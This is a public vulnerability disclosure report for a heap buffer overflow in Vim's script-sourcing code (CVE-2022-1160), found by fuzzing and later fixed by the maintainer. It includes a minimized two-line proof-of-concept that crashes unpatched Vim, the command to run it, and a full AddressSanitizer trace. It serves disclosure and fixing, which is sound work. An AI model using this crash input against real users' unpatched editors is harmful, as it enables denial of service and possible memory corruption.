heap buffer overflow in get_one_sourceline in vim/vim

0

Valid Reported on Mar 28th 2022

Description

When fuzzing vim commit `471b3aed3` I discovered a heap buffer overflow. I'm using ubuntu 20.04 with clang 13

Proof of Concept

Here is the minimized poc

```
norm300gr0
so
```

How to build

```
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS
make -j$(nproc)
```

Proof of Concept
Run crafted file with this command
`./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!`
ASan stack trace:

```
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/
=================================================================
==2393051==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200
READ of size 1 at 0x612000004c6c thread T0
    #0 0x430f35 in strlen (/home/aldo/vimtes/src/vim+0x430f
    #1 0xafb4c6 in get_one_sourceline /home/aldo/vimtes/src/
    #2 0xaf9a90 in getsourceline /home/aldo/vimtes/src/scriptfile.c:2051:9
```

```
    #3 0xaf71ee in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1615:17
    #4 0xaf4765 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1115:6
    #5 0xaf449d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2

    #6 0x6d3db4 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #7 0x6c7b42 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #8 0xaf7435 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
    #9 0xaf4e80 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
    #10 0xaf49b9 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
    #11 0xaf449d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
    #12 0x6d3db4 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #13 0x6c7b42 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #14 0x6cadd0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
    #15 0xecacd4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
    #16 0xec8a09 in vim_main2 /home/aldo/vimtes/src/main.c:772:2
    #17 0xec240d in main /home/aldo/vimtes/src/main.c:424:12
    #18 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/
    #19 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)

0x612000004c6c is located 0 bytes to the right of 300-byte region [0x612000
allocated by thread T0 here:
    #0 0x499fa9 in realloc (/home/aldo/vimtes/src/vim+0x499fa9)
    #1 0x4cbea5 in ga_grow_inner /home/aldo/vimtes/src/alloc.c:741:10
    #2 0x4cbc33 in ga_grow /home/aldo/vimtes/src/alloc.c:720:9
    #3 0x4cc637 in ga_concat /home/aldo/vimtes/src/alloc.c:834:9
    #4 0xafb1a0 in get_one_sourceline /home/aldo/vimtes/src/scriptfile.c:19
    #5 0xaf9a90 in getsourceline /home/aldo/vimtes/src/scriptfile.c:2051:9
    #6 0xaf71ee in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1615:17
    #7 0xaf4765 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1115:6
    #8 0xaf449d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
    #9 0x6d3db4 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #10 0x6c7b42 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #11 0xaf7435 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
    #12 0xaf4e80 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
    #13 0xaf49b9 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
    #14 0xaf449d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
    #15 0x6d3db4 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #16 0x6c7b42 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #17 0x6cadd0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
    #18 0xecacd4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
    #19 0xec8a09 in vim_main2 /home/aldo/vimtes/src/main.c:772:2
    #20 0xec240d in main /home/aldo/vimtes/src/main.c:424:12
```

```
    #20 0xec240a in main /home/aldo/vimtes/src/main.c:424:12
    #21 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/aldo/vimtes/src/vim+
Shadow bytes around the buggy address:
  0x0c247fff8930: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff8940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff8950: 00 00 00 00 00 00 00 00 00 00 00 00 00 05 fa fa
  0x0c247fff8960: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff8970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8980: 00 00 00 00 00 00 00 00 00 00 00 00 00[04]fa fa
  0x0c247fff8990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff89a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff89b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff89c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff89d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2393051==ABORTING
```

Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE
CVE-2022-1160
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (7.3)

Visibility
Public

Status
Fixed

Found by

Muhammad Aldo Firmansyah
@thecrott
legend

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,084 times.

We are processing your report and will contact the **vim** team within 24 hours. 8 months ago

We have contacted a member of the **vim** team and are waiting to hear back 8 months ago

Bram Moolenaar validated this vulnerability 8 months ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 8 months ago Maintainer

Fixed with patch 8.2.4647, using the POC for a test.

Bram Moolenaar marked this as fixed in 8.2 with commit 2bdad6 8 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Muhammad 8 months ago Researcher

Thanks

Sign in to join this conversation

terms

privacy policy

Chat with us